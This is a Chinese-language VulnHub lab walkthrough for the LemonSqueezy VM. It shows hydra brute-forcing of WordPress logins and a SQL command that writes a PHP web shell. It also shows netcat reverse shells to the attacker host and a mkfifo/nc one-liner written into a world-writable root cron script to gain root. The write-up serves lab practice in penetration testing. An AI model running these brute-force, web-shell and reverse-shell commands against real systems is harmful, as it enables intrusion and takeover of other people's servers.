vulnhub（15）：lemonsqueezy（hydra爆破、计划任务提权）

端口

复制代码

nmap -Pn -p- 192.168.72.173

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:B8:2D:FC (VMware)

打点

80端口

主页面是apache2的默认页面，没有robots.txt，我们直接扫描目录

复制代码

gobuster dir -u http://192.168.72.173/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 

/manual/              (Status: 200) [Size: 626]
/wordpress/           (Status: 200) [Size: 52276]
/javascript/          (Status: 403) [Size: 279]
/phpmyadmin/          (Status: 200) [Size: 10531]

发现wordpress之后，查看wordpress主页

主页翻了翻，没有什么敏感信息，尝试hydra爆破

hydra爆破

burp抓包保存请求头到raj文件中，raj文件如下

复制代码

Host: lemonsqueezy
User-Agent: Mozilla/5.0 (Hydra Proxy)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lemonsqueezy/wordpress/wp-login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://lemonsqueezy
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

写python脚本，将数据包中的信息转成hydra命令

python 复制代码

file_array = []

file = input(str())

with open(file,"r") as f:
    for line in f:
        file_array.append(":H=" + line.strip().replace(":","\\:"))

header=""

for line in file_array:
    header += line
    print(line)
print(header)

结果

复制代码

:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1

hydra爆破用户名

复制代码

hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -p 123 lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:Invalid"

结果爆破出两个用户，保存到usernames.txt文件：
lemon
orange

hydra爆破密码

复制代码

hydra -L usernames.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt lemonsqueezy http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Flemonsqueezy%2Fwordpress%2Fwp-admin%2F&testcookie=1:H=Host\: lemonsqueezy:H=User-Agent\: Mozilla/5.0 (Hydra Proxy):H=Accept\: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8:H=Accept-Language\: en-US,en;q=0.5:H=Accept-Encoding\: gzip, deflate
:H=Referer\: http\://lemonsqueezy/wordpress/wp-login.php:H=Content-Type\: application/x-www-form-urlencoded:H=Content-Length\: 109
:H=Origin\: http\://lemonsqueezy:H=Connection\: close:H=Cookie\: wordpress_test_cookie=WP+Cookie+check:H=Upgrade-Insecure-Requests\: 1:incorrect"

爆破出密码：
[80][http-post-form] host: lemonsqueezy   login: orange   password: ginger

登陆后台

看到一个敏感信息，在以Keep this safe!为标题的post下的内容如下

复制代码
n0t1n@w0rdl1st!

登录phpmyadmin

复制代码
orange
n0t1n@w0rdl1st!

sql语句上传木马

复制代码

select "<?php system($_GET['a'])?>" into outfile "/var/www/html/wordpress/1.php"

反弹shell

复制代码

http://lemonsqueezy/wordpress/1.php?a=nc 192.168.72.162 1234 -e /bin/bash

提权

crontab

复制代码

运行了如下脚本
*/2 *   * * *   root    /etc/logrotate.d/logrotate

此外这个脚本是777权限

反弹shell覆盖此文件

复制代码

echo "mkfifo /tmp/f; nc 192.168.72.162 223 </tmp/f | bash > /tmp/f 2>&1;rm -rf /tmp/f" > /etc/logrotate.d/logrotate

攻击主机监听：
nc -nvlp 223

root

复制代码

[listening on [any] 223 ...
connect to [192.168.72.162] from (UNKNOWN) [192.168.72.173] 59534
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cd /root
ls
root.txt
cat root.txt
NvbWV0aW1lcyBhZ2FpbnN0IHlvdXIgd2lsbC4=]()